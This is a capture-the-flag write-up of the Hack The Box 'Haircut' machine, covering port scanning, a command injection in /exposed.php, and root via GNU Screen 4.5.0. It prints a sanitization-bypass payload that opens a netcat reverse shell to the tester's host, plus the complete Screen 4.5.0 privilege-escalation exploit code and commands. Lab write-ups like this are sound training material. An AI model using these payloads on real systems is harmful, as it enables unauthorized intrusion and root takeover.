This box is from Hack The Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:

  • Web Enumeration
  • Command Injection for Initial shell
  • Exploit Screen 4.5.0 for privilege escalation

I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.

Scanned at 2022-05-04 11:43:45 AEST for 12s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| ssh-rsa 

80/tcp open  http    syn-ack ttl 63 nginx 1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.0 (Ubuntu)
Device type: general purpose|WAP|router|specialized
Running (JUST GUESSING): Linux 3.X|2.4.X|2.6.X (97%), MikroTik RouterOS 6.X (89%), Crestron 2-Series (89%)

Uptime guess: 199.638 days (since Sat Oct 16 21:24:53 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=250 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   11.52 ms 10.10.14.1
2   11.54 ms 10.10.10.24

From our initial scan, I can see there are two ports open, port 22 and port 80. I will start further enumeration starting from the web portal.

Gobuster scan results

There is an interesting web directory /exposed.php . When visiting the page, it gives us a field where we can type the web address that we would like to check.

/exposed.php page

I started playing with the field trying different options. I could not use any commands that can combine commands like (&, ;, |) they were all banned/sanitized. I initially thought this field is vulnerable to LFI but after further enumeration looks like it is vulnerable to command injection.

I started a python webserver on my kali box and tried to access a file. It looks like it is simply using the curl command and outputting that into the screen below.

RFI POC

Request at my python webserver

I also tried to run the command using the $() and succeeded in running the command.

Command Injection

Command Injection POC

Also, the field won’t let me use nc command.

nc is a banned command

I can use the same $() to bypass this sanitization. Using this command injection, I was able to get the initial shell.

http://10.10.14.4/hello.php$(n$()c -e /bin/sh 10.10.14.4 4567)

Initial Shell

I was able to access the user.txt .

User flag

Running linpeas script I can see, there is an unusual SUID binary.

Linpeas script: Unknown SUID binary

A quick google search and I found the local privilege escalation exploit for this particular version

We do need to compile the c script for the exploit and our target system has the working installed compilers.

Compilers in the target system

But even with the compilers, it ran to error and I had to compile those scripts in my local system and upload them to the target shell.

Script from Exploit-DB

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF


gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

cd /etc
umask 000 
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls 
/tmp/rootshell

Following the above steps, I was able to get the root shell.

Screen 4.5.0 Privilege Escalation